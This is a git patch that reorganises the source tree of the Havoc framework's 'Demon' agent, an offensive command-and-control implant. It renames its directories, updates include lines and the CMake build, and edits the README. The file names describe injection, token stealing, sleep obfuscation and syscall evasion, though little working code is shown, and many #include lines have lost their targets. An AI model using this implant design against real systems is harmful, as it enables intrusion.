From 9f72c5dd065e25fbc78815da4de25a5c2d2510a1 Mon Sep 17 00:00:00 2001 From: Cracked5pider Date: Mon, 13 Nov 2023 13:46:31 +0100 Subject: [PATCH 1/8] restructure demon agent project --- payloads/Demon/CMakeLists.txt | 74 +++++++++---------- payloads/Demon/README.md | 18 ++--- payloads/Demon/{Include => include}/Demon.h | 37 +++++----- .../{Include/Common => include/common}/Clr.h | 2 +- .../Common => include/common}/Defines.h | 0 .../Common => include/common}/Macros.h | 0 .../Common => include/common}/Native.h | 0 .../Loader => include/core}/CoffeeLdr.h | 0 .../{Include/Core => include/core}/Command.h | 2 +- .../{Include/Core => include/core}/Dotnet.h | 2 +- .../{Include/Core => include/core}/Download.h | 0 .../Core => include/core}/HwBpEngine.h | 0 .../Core => include/core}/HwBpExceptions.h | 0 .../{Include/Core => include/core}/Jobs.h | 0 .../{Include/Core => include/core}/Kerberos.h | 0 .../{Include/Core => include/core}/Memory.h | 2 +- .../{Include/Core => include/core}/MiniStd.h | 0 .../Loader => include/core}/ObjectApi.h | 0 .../{Include/Core => include/core}/Package.h | 2 +- .../{Include/Core => include/core}/Parser.h | 0 .../{Include/Core => include/core}/Pivot.h | 0 .../{Include/Core => include/core}/Process.h | 0 .../{Include/Core => include/core}/Runtime.h | 0 .../{Include/Core => include/core}/SleepObf.h | 0 .../{Include/Core => include/core}/Socket.h | 0 .../{Include/Core => include/core}/Spoof.h | 0 .../Core => include/core}/SysNative.h | 4 +- .../{Include/Core => include/core}/Syscalls.h | 2 +- .../{Include/Core => include/core}/Thread.h | 4 +- .../{Include/Core => include/core}/Token.h | 2 +- .../Core => include/core}/Transport.h | 6 +- .../Core => include/core}/TransportHttp.h | 2 +- .../Core => include/core}/TransportSmb.h | 2 +- .../{Include/Core => include/core}/Win32.h | 6 +- .../Crypt => include/crypt}/AesCrypt.h | 0 .../Inject => include/inject}/Inject.h | 4 +- .../Inject => include/inject}/InjectUtil.h | 2 +- .../Demon/{Scripts => scripts}/hash_func.py | 0 payloads/Demon/{Source => src}/Demon.c | 20 ++--- .../{Source/Asm => src/asm}/Spoof.x64.asm | 0 .../{Source/Asm => src/asm}/Spoof.x86.asm | 0 .../{Source/Asm => src/asm}/Syscall.x64.asm | 0 .../{Source/Asm => src/asm}/Syscall.x86.asm | 0 .../{Source/Loader => src/core}/CoffeeLdr.c | 21 +++--- .../Demon/{Source/Core => src/core}/Command.c | 23 +++--- .../Demon/{Source/Core => src/core}/Dotnet.c | 6 +- .../{Source/Core => src/core}/Download.c | 2 +- .../{Source/Core => src/core}/HwBpEngine.c | 8 +- .../Core => src/core}/HwBpExceptions.c | 2 +- .../Demon/{Source/Core => src/core}/Jobs.c | 9 +-- .../{Source/Core => src/core}/Kerberos.c | 8 +- .../Demon/{Source/Core => src/core}/Memory.c | 2 +- .../Demon/{Source/Core => src/core}/MiniStd.c | 2 +- .../{Source/Loader => src/core}/ObjectApi.c | 15 ++-- .../Demon/{Source/Core => src/core}/Package.c | 12 +-- .../Demon/{Source/Core => src/core}/Parser.c | 6 +- .../Demon/{Source/Core => src/core}/Pivot.c | 10 +-- .../Demon/{Source/Core => src/core}/Runtime.c | 4 +- .../{Source/Core => src/core}/SleepObf.c | 10 +-- .../Demon/{Source/Core => src/core}/Socket.c | 2 +- .../Demon/{Source/Core => src/core}/Spoof.c | 4 +- .../{Source/Core => src/core}/SysNative.c | 4 +- .../{Source/Core => src/core}/Syscalls.c | 6 +- .../Demon/{Source/Core => src/core}/Thread.c | 12 +-- .../Demon/{Source/Core => src/core}/Token.c | 10 +-- .../{Source/Core => src/core}/Transport.c | 14 ++-- .../{Source/Core => src/core}/TransportHttp.c | 4 +- .../{Source/Core => src/core}/TransportSmb.c | 4 +- .../Demon/{Source/Core => src/core}/Win32.c | 12 +-- .../{Source/Crypt => src/crypt}/AesCrypt.c | 4 +- .../{Source/Inject => src/inject}/Inject.c | 14 ++-- .../Inject => src/inject}/InjectUtil.c | 8 +- .../Demon/{Source/Main => src/main}/MainDll.c | 2 +- .../Demon/{Source/Main => src/main}/MainExe.c | 0 .../Demon/{Source/Main => src/main}/MainSvc.c | 0 75 files changed, 210 insertions(+), 223 deletions(-) rename payloads/Demon/{Include => include}/Demon.h (97%) rename payloads/Demon/{Include/Common => include/common}/Clr.h (99%) rename payloads/Demon/{Include/Common => include/common}/Defines.h (100%) rename payloads/Demon/{Include/Common => include/common}/Macros.h (100%) rename payloads/Demon/{Include/Common => include/common}/Native.h (100%) rename payloads/Demon/{Include/Loader => include/core}/CoffeeLdr.h (100%) rename payloads/Demon/{Include/Core => include/core}/Command.h (99%) rename payloads/Demon/{Include/Core => include/core}/Dotnet.h (80%) rename payloads/Demon/{Include/Core => include/core}/Download.h (100%) rename payloads/Demon/{Include/Core => include/core}/HwBpEngine.h (100%) rename payloads/Demon/{Include/Core => include/core}/HwBpExceptions.h (100%) rename payloads/Demon/{Include/Core => include/core}/Jobs.h (100%) rename payloads/Demon/{Include/Core => include/core}/Kerberos.h (100%) rename payloads/Demon/{Include/Core => include/core}/Memory.h (96%) rename payloads/Demon/{Include/Core => include/core}/MiniStd.h (100%) rename payloads/Demon/{Include/Loader => include/core}/ObjectApi.h (100%) rename payloads/Demon/{Include/Core => include/core}/Package.h (98%) rename payloads/Demon/{Include/Core => include/core}/Parser.h (100%) rename payloads/Demon/{Include/Core => include/core}/Pivot.h (100%) rename payloads/Demon/{Include/Core => include/core}/Process.h (100%) rename payloads/Demon/{Include/Core => include/core}/Runtime.h (100%) rename payloads/Demon/{Include/Core => include/core}/SleepObf.h (100%) rename payloads/Demon/{Include/Core => include/core}/Socket.h (100%) rename payloads/Demon/{Include/Core => include/core}/Spoof.h (100%) rename payloads/Demon/{Include/Core => include/core}/SysNative.h (99%) rename payloads/Demon/{Include/Core => include/core}/Syscalls.h (98%) rename payloads/Demon/{Include/Core => include/core}/Thread.h (96%) rename payloads/Demon/{Include/Core => include/core}/Token.h (99%) rename payloads/Demon/{Include/Core => include/core}/Transport.h (91%) rename payloads/Demon/{Include/Core => include/core}/TransportHttp.h (98%) rename payloads/Demon/{Include/Core => include/core}/TransportSmb.h (95%) rename payloads/Demon/{Include/Core => include/core}/Win32.h (98%) rename payloads/Demon/{Include/Crypt => include/crypt}/AesCrypt.h (100%) rename payloads/Demon/{Include/Inject => include/inject}/Inject.h (97%) rename payloads/Demon/{Include/Inject => include/inject}/InjectUtil.h (97%) rename payloads/Demon/{Scripts => scripts}/hash_func.py (100%) rename payloads/Demon/{Source => src}/Demon.c (99%) rename payloads/Demon/{Source/Asm => src/asm}/Spoof.x64.asm (100%) rename payloads/Demon/{Source/Asm => src/asm}/Spoof.x86.asm (100%) rename payloads/Demon/{Source/Asm => src/asm}/Syscall.x64.asm (100%) rename payloads/Demon/{Source/Asm => src/asm}/Syscall.x86.asm (100%) rename payloads/Demon/{Source/Loader => src/core}/CoffeeLdr.c (99%) rename payloads/Demon/{Source/Core => src/core}/Command.c (99%) rename payloads/Demon/{Source/Core => src/core}/Dotnet.c (99%) rename payloads/Demon/{Source/Core => src/core}/Download.c (99%) rename payloads/Demon/{Source/Core => src/core}/HwBpEngine.c (98%) rename payloads/Demon/{Source/Core => src/core}/HwBpExceptions.c (95%) rename payloads/Demon/{Source/Core => src/core}/Jobs.c (99%) rename payloads/Demon/{Source/Core => src/core}/Kerberos.c (99%) rename payloads/Demon/{Source/Core => src/core}/Memory.c (99%) rename payloads/Demon/{Source/Core => src/core}/MiniStd.c (99%) rename payloads/Demon/{Source/Loader => src/core}/ObjectApi.c (99%) rename payloads/Demon/{Source/Core => src/core}/Package.c (98%) rename payloads/Demon/{Source/Core => src/core}/Parser.c (97%) rename payloads/Demon/{Source/Core => src/core}/Pivot.c (98%) rename payloads/Demon/{Source/Core => src/core}/Runtime.c (99%) rename payloads/Demon/{Source/Core => src/core}/SleepObf.c (99%) rename payloads/Demon/{Source/Core => src/core}/Socket.c (99%) rename payloads/Demon/{Source/Core => src/core}/Spoof.c (95%) rename payloads/Demon/{Source/Core => src/core}/SysNative.c (99%) rename payloads/Demon/{Source/Core => src/core}/Syscalls.c (98%) rename payloads/Demon/{Source/Core => src/core}/Thread.c (98%) rename payloads/Demon/{Source/Core => src/core}/Token.c (99%) rename payloads/Demon/{Source/Core => src/core}/Transport.c (90%) rename payloads/Demon/{Source/Core => src/core}/TransportHttp.c (99%) rename payloads/Demon/{Source/Core => src/core}/TransportSmb.c (99%) rename payloads/Demon/{Source/Core => src/core}/Win32.c (99%) rename payloads/Demon/{Source/Crypt => src/crypt}/AesCrypt.c (99%) rename payloads/Demon/{Source/Inject => src/inject}/Inject.c (98%) rename payloads/Demon/{Source/Inject => src/inject}/InjectUtil.c (96%) rename payloads/Demon/{Source/Main => src/main}/MainDll.c (98%) rename payloads/Demon/{Source/Main => src/main}/MainExe.c (100%) rename payloads/Demon/{Source/Main => src/main}/MainSvc.c (100%) diff --git a/payloads/Demon/CMakeLists.txt b/payloads/Demon/CMakeLists.txt index 7346f1b..3412e6c 100644 --- a/payloads/Demon/CMakeLists.txt +++ b/payloads/Demon/CMakeLists.txt @@ -9,63 +9,61 @@ set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc ) set( CMAKE_C_FLAGS "-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic " ) # adding demon sources -include_directories( Include ) +include_directories( include ) set( COMMON_SOURCE - Source/Core/Command.c - Source/Core/Win32.c - Source/Core/MiniStd.c - Source/Core/Token.c - Source/Core/Package.c - Source/Core/SleepObf.c - Source/Core/Spoof.c - Source/Core/Syscalls.c - Source/Core/SysNative.c - Source/Core/Command.c - Source/Core/Transport.c - Source/Core/TransportHttp.c - Source/Core/TransportSmb.c - Source/Core/Parser.c - Source/Core/Pivot.c - Source/Core/Jobs.c - Source/Core/Download.c - Source/Core/Dotnet.c - Source/Core/Socket.c - Source/Core/Kerberos.c - Source/Core/Thread.c - Source/Core/Memory.c - Source/Core/Runtime.c - Source/Core/HwBpEngine.c - Source/Core/HwBpExceptions.c + src/core/Command.c + src/core/Win32.c + src/core/MiniStd.c + src/core/Token.c + src/core/Package.c + src/core/SleepObf.c + src/core/Spoof.c + src/core/Syscalls.c + src/core/SysNative.c + src/core/Command.c + src/core/Transport.c + src/core/TransportHttp.c + src/core/TransportSmb.c + src/core/Parser.c + src/core/Pivot.c + src/core/Jobs.c + src/core/Download.c + src/core/Dotnet.c + src/core/Socket.c + src/core/Kerberos.c + src/core/Thread.c + src/core/Memory.c + src/core/Runtime.c + src/core/HwBpEngine.c + src/core/HwBpExceptions.c + src/core/CoffeeLdr.c + src/core/ObjectApi.c ) set( INJECT_SOURCE - Source/Inject/Inject.c - Source/Inject/InjectUtil.c + src/inject/Inject.c + src/inject/InjectUtil.c ) -set( LOADER_SOURCE - Source/Loader/CoffeeLdr.c - Source/Loader/ObjectApi.c +set( CRYPT_SOURCE + src/crypt/AesCrypt.c ) set( MAIN_SOURCE # Demon Main entrypoint - Source/Demon.c + src/Demon.c # windows exe - Source/Main/MainExe.c + src/main/MainExe.c # windows dll - Source/Main/MainDll.c + src/main/MainDll.c # windows service - Source/Main/MainSvc.c + src/main/MainSvc.c ) -set( CRYPT_SOURCE - Source/Crypt/AesCrypt.c -) # preprocessor flags add_compile_definitions( DEBUG ) diff --git a/payloads/Demon/README.md b/payloads/Demon/README.md index 787d162..859498b 100644 --- a/payloads/Demon/README.md +++ b/payloads/Demon/README.md @@ -1,28 +1,22 @@ # Havoc Demon Agent -Havoc Demon Agent source code written in C +Havoc Demon Agent source code written in C and assembly # Directories -## Source/Asm +## src/asm assembly code (return address stack spoofing) -## Source/Core +## src/core core functions ( connect to server, dynamically load win32 apis / syscalls ) -## Source/Crypt +## src/crypt encryption / decryption functions -## Source/Extra -extra code ( KaynLdr Reflective Loader ) - -## Source/Inject +## src/inject injection functions and utilities -## Source/Loader -loaders ( COFF Loader + Beacon Api ) - -## Source/Main +## src/main Entry point of an PE executable - MainExe.c diff --git a/payloads/Demon/Include/Demon.h b/payloads/Demon/include/Demon.h similarity index 97% rename from payloads/Demon/Include/Demon.h rename to payloads/Demon/include/Demon.h index aab0387..30c658b 100644 --- a/payloads/Demon/Include/Demon.h +++ b/payloads/Demon/include/Demon.h @@ -7,26 +7,25 @@ #include #include -#include -#include -#include -#include +#include +#include +#include +#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #ifdef DEBUG #include diff --git a/payloads/Demon/Include/Common/Clr.h b/payloads/Demon/include/common/Clr.h similarity index 99% rename from payloads/Demon/Include/Common/Clr.h rename to payloads/Demon/include/common/Clr.h index c82a28d..9bc05e0 100644 --- a/payloads/Demon/Include/Common/Clr.h +++ b/payloads/Demon/include/common/Clr.h @@ -3,7 +3,7 @@ #include -#include +#include extern GUID xCLSID_CLRMetaHost; extern GUID xIID_ICLRMetaHost; diff --git a/payloads/Demon/Include/Common/Defines.h b/payloads/Demon/include/common/Defines.h similarity index 100% rename from payloads/Demon/Include/Common/Defines.h rename to payloads/Demon/include/common/Defines.h diff --git a/payloads/Demon/Include/Common/Macros.h b/payloads/Demon/include/common/Macros.h similarity index 100% rename from payloads/Demon/Include/Common/Macros.h rename to payloads/Demon/include/common/Macros.h diff --git a/payloads/Demon/Include/Common/Native.h b/payloads/Demon/include/common/Native.h similarity index 100% rename from payloads/Demon/Include/Common/Native.h rename to payloads/Demon/include/common/Native.h diff --git a/payloads/Demon/Include/Loader/CoffeeLdr.h b/payloads/Demon/include/core/CoffeeLdr.h similarity index 100% rename from payloads/Demon/Include/Loader/CoffeeLdr.h rename to payloads/Demon/include/core/CoffeeLdr.h diff --git a/payloads/Demon/Include/Core/Command.h b/payloads/Demon/include/core/Command.h similarity index 99% rename from payloads/Demon/Include/Core/Command.h rename to payloads/Demon/include/core/Command.h index 9061b17..e2f0e60 100644 --- a/payloads/Demon/Include/Core/Command.h +++ b/payloads/Demon/include/core/Command.h @@ -1,7 +1,7 @@ #ifndef DEMON_COMMAND_H #define DEMON_COMMAND_H -#include +#include /* Commands */ diff --git a/payloads/Demon/Include/Core/Dotnet.h b/payloads/Demon/include/core/Dotnet.h similarity index 80% rename from payloads/Demon/Include/Core/Dotnet.h rename to payloads/Demon/include/core/Dotnet.h index 0117894..ef60fed 100644 --- a/payloads/Demon/Include/Core/Dotnet.h +++ b/payloads/Demon/include/core/Dotnet.h @@ -1,4 +1,4 @@ -#include +#include BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ); VOID DotnetClose(); diff --git a/payloads/Demon/Include/Core/Download.h b/payloads/Demon/include/core/Download.h similarity index 100% rename from payloads/Demon/Include/Core/Download.h rename to payloads/Demon/include/core/Download.h diff --git a/payloads/Demon/Include/Core/HwBpEngine.h b/payloads/Demon/include/core/HwBpEngine.h similarity index 100% rename from payloads/Demon/Include/Core/HwBpEngine.h rename to payloads/Demon/include/core/HwBpEngine.h diff --git a/payloads/Demon/Include/Core/HwBpExceptions.h b/payloads/Demon/include/core/HwBpExceptions.h similarity index 100% rename from payloads/Demon/Include/Core/HwBpExceptions.h rename to payloads/Demon/include/core/HwBpExceptions.h diff --git a/payloads/Demon/Include/Core/Jobs.h b/payloads/Demon/include/core/Jobs.h similarity index 100% rename from payloads/Demon/Include/Core/Jobs.h rename to payloads/Demon/include/core/Jobs.h diff --git a/payloads/Demon/Include/Core/Kerberos.h b/payloads/Demon/include/core/Kerberos.h similarity index 100% rename from payloads/Demon/Include/Core/Kerberos.h rename to payloads/Demon/include/core/Kerberos.h diff --git a/payloads/Demon/Include/Core/Memory.h b/payloads/Demon/include/core/Memory.h similarity index 96% rename from payloads/Demon/Include/Core/Memory.h rename to payloads/Demon/include/core/Memory.h index 66a8ec7..590a54b 100644 --- a/payloads/Demon/Include/Core/Memory.h +++ b/payloads/Demon/include/core/Memory.h @@ -1,7 +1,7 @@ #ifndef DEMON_MEMORY_H #define DEMON_MEMORY_H -#include +#include typedef enum _DX_MEMORY { diff --git a/payloads/Demon/Include/Core/MiniStd.h b/payloads/Demon/include/core/MiniStd.h similarity index 100% rename from payloads/Demon/Include/Core/MiniStd.h rename to payloads/Demon/include/core/MiniStd.h diff --git a/payloads/Demon/Include/Loader/ObjectApi.h b/payloads/Demon/include/core/ObjectApi.h similarity index 100% rename from payloads/Demon/Include/Loader/ObjectApi.h rename to payloads/Demon/include/core/ObjectApi.h diff --git a/payloads/Demon/Include/Core/Package.h b/payloads/Demon/include/core/Package.h similarity index 98% rename from payloads/Demon/Include/Core/Package.h rename to payloads/Demon/include/core/Package.h index 4faa6ec..1d262ea 100644 --- a/payloads/Demon/Include/Core/Package.h +++ b/payloads/Demon/include/core/Package.h @@ -1,7 +1,7 @@ #ifndef CALLBACK_PACKAGE_H #define CALLBACK_PACKAGE_H -#include +#include #define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB diff --git a/payloads/Demon/Include/Core/Parser.h b/payloads/Demon/include/core/Parser.h similarity index 100% rename from payloads/Demon/Include/Core/Parser.h rename to payloads/Demon/include/core/Parser.h diff --git a/payloads/Demon/Include/Core/Pivot.h b/payloads/Demon/include/core/Pivot.h similarity index 100% rename from payloads/Demon/Include/Core/Pivot.h rename to payloads/Demon/include/core/Pivot.h diff --git a/payloads/Demon/Include/Core/Process.h b/payloads/Demon/include/core/Process.h similarity index 100% rename from payloads/Demon/Include/Core/Process.h rename to payloads/Demon/include/core/Process.h diff --git a/payloads/Demon/Include/Core/Runtime.h b/payloads/Demon/include/core/Runtime.h similarity index 100% rename from payloads/Demon/Include/Core/Runtime.h rename to payloads/Demon/include/core/Runtime.h diff --git a/payloads/Demon/Include/Core/SleepObf.h b/payloads/Demon/include/core/SleepObf.h similarity index 100% rename from payloads/Demon/Include/Core/SleepObf.h rename to payloads/Demon/include/core/SleepObf.h diff --git a/payloads/Demon/Include/Core/Socket.h b/payloads/Demon/include/core/Socket.h similarity index 100% rename from payloads/Demon/Include/Core/Socket.h rename to payloads/Demon/include/core/Socket.h diff --git a/payloads/Demon/Include/Core/Spoof.h b/payloads/Demon/include/core/Spoof.h similarity index 100% rename from payloads/Demon/Include/Core/Spoof.h rename to payloads/Demon/include/core/Spoof.h diff --git a/payloads/Demon/Include/Core/SysNative.h b/payloads/Demon/include/core/SysNative.h similarity index 99% rename from payloads/Demon/Include/Core/SysNative.h rename to payloads/Demon/include/core/SysNative.h index 62db8da..a2fb18a 100644 --- a/payloads/Demon/Include/Core/SysNative.h +++ b/payloads/Demon/include/core/SysNative.h @@ -1,8 +1,8 @@ #ifndef DEMON_SYSNATIVE_H #define DEMON_SYSNATIVE_H -#include -#include +#include +#include /* define the OPT param option */ #ifndef OPT diff --git a/payloads/Demon/Include/Core/Syscalls.h b/payloads/Demon/include/core/Syscalls.h similarity index 98% rename from payloads/Demon/Include/Core/Syscalls.h rename to payloads/Demon/include/core/Syscalls.h index 82b79ed..1664b29 100644 --- a/payloads/Demon/Include/Core/Syscalls.h +++ b/payloads/Demon/include/core/Syscalls.h @@ -3,7 +3,7 @@ #define DEMON_SYSCALLS_H #include -#include +#include /* Syscall functions */ #define SYS_ASM_RET 0xC3 diff --git a/payloads/Demon/Include/Core/Thread.h b/payloads/Demon/include/core/Thread.h similarity index 96% rename from payloads/Demon/Include/Core/Thread.h rename to payloads/Demon/include/core/Thread.h index 26946b8..a54026f 100644 --- a/payloads/Demon/Include/Core/Thread.h +++ b/payloads/Demon/include/core/Thread.h @@ -1,8 +1,8 @@ #ifndef DEMON_THREAD_H #define DEMON_THREAD_H -#include -#include +#include +#include /* thread execution methods */ #define THREAD_METHOD_DEFAULT 0 diff --git a/payloads/Demon/Include/Core/Token.h b/payloads/Demon/include/core/Token.h similarity index 99% rename from payloads/Demon/Include/Core/Token.h rename to payloads/Demon/include/core/Token.h index 1a6460a..e8a270c 100644 --- a/payloads/Demon/Include/Core/Token.h +++ b/payloads/Demon/include/core/Token.h @@ -2,7 +2,7 @@ #define DEMON_TOKEN_H #include -#include +#include #define TOKEN_TYPE_STOLEN 0x1 #define TOKEN_TYPE_MAKE_NETWORK 0x2 diff --git a/payloads/Demon/Include/Core/Transport.h b/payloads/Demon/include/core/Transport.h similarity index 91% rename from payloads/Demon/Include/Core/Transport.h rename to payloads/Demon/include/core/Transport.h index 58f29e9..f9d10f3 100644 --- a/payloads/Demon/Include/Core/Transport.h +++ b/payloads/Demon/include/core/Transport.h @@ -1,9 +1,9 @@ #ifndef DEMON_INTERNET_H #define DEMON_INTERNET_H -#include -#include -#include +#include +#include +#include #define PIPE_BUFFER_MAX 0x10000 diff --git a/payloads/Demon/Include/Core/TransportHttp.h b/payloads/Demon/include/core/TransportHttp.h similarity index 98% rename from payloads/Demon/Include/Core/TransportHttp.h rename to payloads/Demon/include/core/TransportHttp.h index e552f9e..a824ce1 100644 --- a/payloads/Demon/Include/Core/TransportHttp.h +++ b/payloads/Demon/include/core/TransportHttp.h @@ -1,7 +1,7 @@ #ifndef DEMON_TRANSPORTHTTP_H #define DEMON_TRANSPORTHTTP_H -#include +#include #include #include diff --git a/payloads/Demon/Include/Core/TransportSmb.h b/payloads/Demon/include/core/TransportSmb.h similarity index 95% rename from payloads/Demon/Include/Core/TransportSmb.h rename to payloads/Demon/include/core/TransportSmb.h index 0745b58..33028aa 100644 --- a/payloads/Demon/Include/Core/TransportSmb.h +++ b/payloads/Demon/include/core/TransportSmb.h @@ -1,7 +1,7 @@ #ifndef DEMON_TRANSPORTSMB_H #define DEMON_TRANSPORTSMB_H -#include +#include #ifdef TRANSPORT_SMB diff --git a/payloads/Demon/Include/Core/Win32.h b/payloads/Demon/include/core/Win32.h similarity index 98% rename from payloads/Demon/Include/Core/Win32.h rename to payloads/Demon/include/core/Win32.h index 8202e8e..618876a 100644 --- a/payloads/Demon/Include/Core/Win32.h +++ b/payloads/Demon/include/core/Win32.h @@ -7,10 +7,10 @@ #include #include -#include -#include +#include +#include -#include +#include #include #include diff --git a/payloads/Demon/Include/Crypt/AesCrypt.h b/payloads/Demon/include/crypt/AesCrypt.h similarity index 100% rename from payloads/Demon/Include/Crypt/AesCrypt.h rename to payloads/Demon/include/crypt/AesCrypt.h diff --git a/payloads/Demon/Include/Inject/Inject.h b/payloads/Demon/include/inject/Inject.h similarity index 97% rename from payloads/Demon/Include/Inject/Inject.h rename to payloads/Demon/include/inject/Inject.h index 85957cf..e64c93b 100644 --- a/payloads/Demon/Include/Inject/Inject.h +++ b/payloads/Demon/include/inject/Inject.h @@ -4,8 +4,8 @@ #include -#include -#include +#include +#include #define INJECTION_TECHNIQUE_WIN32 1 #define INJECTION_TECHNIQUE_SYSCALL 2 diff --git a/payloads/Demon/Include/Inject/InjectUtil.h b/payloads/Demon/include/inject/InjectUtil.h similarity index 97% rename from payloads/Demon/Include/Inject/InjectUtil.h rename to payloads/Demon/include/inject/InjectUtil.h index 54dcd88..4ed61de 100644 --- a/payloads/Demon/Include/Inject/InjectUtil.h +++ b/payloads/Demon/include/inject/InjectUtil.h @@ -2,7 +2,7 @@ #define DEMON_INJECTUTIL_H #include -#include +#include #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) diff --git a/payloads/Demon/Scripts/hash_func.py b/payloads/Demon/scripts/hash_func.py similarity index 100% rename from payloads/Demon/Scripts/hash_func.py rename to payloads/Demon/scripts/hash_func.py diff --git a/payloads/Demon/Source/Demon.c b/payloads/Demon/src/Demon.c similarity index 99% rename from payloads/Demon/Source/Demon.c rename to payloads/Demon/src/Demon.c index 8790124..5d9acdd 100644 --- a/payloads/Demon/Source/Demon.c +++ b/payloads/Demon/src/Demon.c @@ -1,22 +1,22 @@ #include /* Import Common Headers */ -#include -#include +#include +#include /* Import Core Headers */ -#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include +#include /* Import Inject Headers */ -#include +#include /* Import Inject Headers */ -#include +#include /* Global Variables */ SEC_DATA INSTANCE Instance = { 0 }; diff --git a/payloads/Demon/Source/Asm/Spoof.x64.asm b/payloads/Demon/src/asm/Spoof.x64.asm similarity index 100% rename from payloads/Demon/Source/Asm/Spoof.x64.asm rename to payloads/Demon/src/asm/Spoof.x64.asm diff --git a/payloads/Demon/Source/Asm/Spoof.x86.asm b/payloads/Demon/src/asm/Spoof.x86.asm similarity index 100% rename from payloads/Demon/Source/Asm/Spoof.x86.asm rename to payloads/Demon/src/asm/Spoof.x86.asm diff --git a/payloads/Demon/Source/Asm/Syscall.x64.asm b/payloads/Demon/src/asm/Syscall.x64.asm similarity index 100% rename from payloads/Demon/Source/Asm/Syscall.x64.asm rename to payloads/Demon/src/asm/Syscall.x64.asm diff --git a/payloads/Demon/Source/Asm/Syscall.x86.asm b/payloads/Demon/src/asm/Syscall.x86.asm similarity index 100% rename from payloads/Demon/Source/Asm/Syscall.x86.asm rename to payloads/Demon/src/asm/Syscall.x86.asm diff --git a/payloads/Demon/Source/Loader/CoffeeLdr.c b/payloads/Demon/src/core/CoffeeLdr.c similarity index 99% rename from payloads/Demon/Source/Loader/CoffeeLdr.c rename to payloads/Demon/src/core/CoffeeLdr.c index 80339a8..0ebfe0b 100644 --- a/payloads/Demon/Source/Loader/CoffeeLdr.c +++ b/payloads/Demon/src/core/CoffeeLdr.c @@ -1,13 +1,11 @@ - #include - -#include -#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include +#include +#include #if _WIN64 // __imp_ @@ -48,10 +46,11 @@ LONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception ) // TODO: obtaining the RequestID this way is almost surely not correct // given that CoffeeFunctionReturn won't point to BOF code but Demon code // also, if two BOFs are running at the same time, this VEH impl won't work - if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) + if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) { Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); - else + } else { Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE ); + } PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION ); PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode ); diff --git a/payloads/Demon/Source/Core/Command.c b/payloads/Demon/src/core/Command.c similarity index 99% rename from payloads/Demon/Source/Core/Command.c rename to payloads/Demon/src/core/Command.c index 243b7d6..02db5f6 100644 --- a/payloads/Demon/Source/Core/Command.c +++ b/payloads/Demon/src/core/Command.c @@ -1,18 +1,17 @@ #include -#include +#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include SEC_DATA DEMON_COMMAND DemonCommands[] = { { .ID = DEMON_COMMAND_SLEEP, .Function = CommandSleep }, diff --git a/payloads/Demon/Source/Core/Dotnet.c b/payloads/Demon/src/core/Dotnet.c similarity index 99% rename from payloads/Demon/Source/Core/Dotnet.c rename to payloads/Demon/src/core/Dotnet.c index 0bcbb36..2ef8b00 100644 --- a/payloads/Demon/Source/Core/Dotnet.c +++ b/payloads/Demon/src/core/Dotnet.c @@ -1,8 +1,8 @@ #include -#include -#include -#include +#include +#include +#include #define PIPE_BUFFER 0x10000 * 5 diff --git a/payloads/Demon/Source/Core/Download.c b/payloads/Demon/src/core/Download.c similarity index 99% rename from payloads/Demon/Source/Core/Download.c rename to payloads/Demon/src/core/Download.c index fae2ddd..4320b5e 100644 --- a/payloads/Demon/Source/Core/Download.c +++ b/payloads/Demon/src/core/Download.c @@ -1,6 +1,6 @@ #include -#include +#include /* Add file to linked list with type (upload/download) */ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ) diff --git a/payloads/Demon/Source/Core/HwBpEngine.c b/payloads/Demon/src/core/HwBpEngine.c similarity index 98% rename from payloads/Demon/Source/Core/HwBpEngine.c rename to payloads/Demon/src/core/HwBpEngine.c index 1d565fe..3a724a1 100644 --- a/payloads/Demon/Source/Core/HwBpEngine.c +++ b/payloads/Demon/src/core/HwBpEngine.c @@ -1,8 +1,8 @@ #include -#include -#include -#include -#include +#include +#include +#include +#include LONG ExceptionHandler( IN OUT PEXCEPTION_POINTERS Exception diff --git a/payloads/Demon/Source/Core/HwBpExceptions.c b/payloads/Demon/src/core/HwBpExceptions.c similarity index 95% rename from payloads/Demon/Source/Core/HwBpExceptions.c rename to payloads/Demon/src/core/HwBpExceptions.c index 0ae4eb5..420d0b5 100644 --- a/payloads/Demon/Source/Core/HwBpExceptions.c +++ b/payloads/Demon/src/core/HwBpExceptions.c @@ -1,5 +1,5 @@ #include -#include +#include #if _WIN64 diff --git a/payloads/Demon/Source/Core/Jobs.c b/payloads/Demon/src/core/Jobs.c similarity index 99% rename from payloads/Demon/Source/Core/Jobs.c rename to payloads/Demon/src/core/Jobs.c index 8ed453c..f05f8c3 100644 --- a/payloads/Demon/Source/Core/Jobs.c +++ b/payloads/Demon/src/core/Jobs.c @@ -1,10 +1,9 @@ #include -#include -#include -#include - -#include +#include +#include +#include +#include /*! * JobAdd diff --git a/payloads/Demon/Source/Core/Kerberos.c b/payloads/Demon/src/core/Kerberos.c similarity index 99% rename from payloads/Demon/Source/Core/Kerberos.c rename to payloads/Demon/src/core/Kerberos.c index a9b552a..707deef 100644 --- a/payloads/Demon/Source/Core/Kerberos.c +++ b/payloads/Demon/src/core/Kerberos.c @@ -1,9 +1,9 @@ #include -#include -#include -#include -#include +#include +#include +#include +#include BOOL IsHighIntegrity(HANDLE TokenHandle) { diff --git a/payloads/Demon/Source/Core/Memory.c 